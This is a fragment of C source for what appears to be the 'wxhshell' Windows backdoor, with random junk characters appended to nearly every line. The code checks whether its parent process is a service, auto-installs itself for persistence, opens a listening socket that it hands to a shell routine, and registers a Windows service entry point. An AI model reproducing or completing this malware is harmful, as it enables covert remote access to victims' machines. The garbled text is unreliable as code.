} PROCESS_BASIC_INFORMATION; )`zfDio-1V
||.Ve,<:
PROCNTQSIP NtQueryInformationProcess; #e6x_o|
nG"Ae8r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }:+P{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a!:R_P}7
Ls NJ3oy
HANDLE hProcess; /7C%m:
PROCESS_BASIC_INFORMATION pbi; cQ/T:E7$`
;MjOs&1f0K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fwaM ;YN_
if(NULL == hInst ) return 0; ,tuZ_"?M
; T WYO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1JN/oq;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k)JwCt.%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UbSD?Ew@35
IO?6F@(
if (!NtQueryInformationProcess) return 0; ~<[]l~`
iPrAB*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dz+R Q`Vn
if(!hProcess) return 0; <(Ktf0'__
V,:~FufM^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kZS&q/6A*
:N>s#{+"3
CloseHandle(hProcess); 7,3v,N|
G)\6W#de4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KT8]/T`U
if(hProcess==NULL) return 0; &qZ:"k
@fSqGsSk
HMODULE hMod; ,YmTx
char procName[255]; )X-TJ+d
unsigned long cbNeeded; mOx>p"n
~
*P9_<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P87qUC
CB?,[#r5f
CloseHandle(hProcess); ,T7(!)dR
L!kbDbqn
if(strstr(procName,"services")) return 1; // 以服务启动 Ib$?[
;EfREfk
return 0; // 注册表启动 3(La)|k
}
_95`w9
>HQ<KFA
// 主模块 T8a!"lPP7
int StartWxhshell(LPSTR lpCmdLine) (1Ii86EP
{ !6d`e"\K
SOCKET wsl; z@J;sz
BOOL val=TRUE; -44''w?z
int port=0; `Yc>I!iN
struct sockaddr_in door; ;]SP~kG
#[Vk#BIiv8
if(wscfg.ws_autoins) Install(); pJ]i)$M
u\|Ys
port=atoi(lpCmdLine); 0"$'1g^]7
/<oBgFMoJ
if(port<=0) port=wscfg.ws_port; Hsz).u
'}
LAZQ"
WSADATA data; !Ql&Ls
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z c,Q
lDhuL;9e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GFtE0IQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _M7NL^B&
door.sin_family = AF_INET; q3R?8Mb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kc70HrG
door.sin_port = htons(port); 4f>
s2I&pQ
%q
7gl;'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `1"Xj ^
YM
closesocket(wsl); w
B[H&
return 1; +46?+kKt
} 3L(vZ2&
z8hAZ?r1`
if(listen(wsl,2) == INVALID_SOCKET) { :HG5{zP
closesocket(wsl); rui]_Fn]I
return 1; -dsE9)&8DX
} ]AzDkKj
Wxhshell(wsl); uPtS.j=
WSACleanup(); "+:IA|1wD
Se-n#
return 0; "#a,R^J
DnW*q/=w
} ]QAMCu(>
9 ~$'?
// 以NT服务方式启动 Gfn?1Kt{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?_7^MP>
{ itW~2#nJz
DWORD status = 0; " )_-L8
DWORD specificError = 0xfffffff; [boB4>.
kI>PaZ`i)
serviceStatus.dwServiceType = SERVICE_WIN32; ThSB\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YE\s<$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |*WE@L5
serviceStatus.dwWin32ExitCode = 0; IQ"9#{o
serviceStatus.dwServiceSpecificExitCode = 0; !o&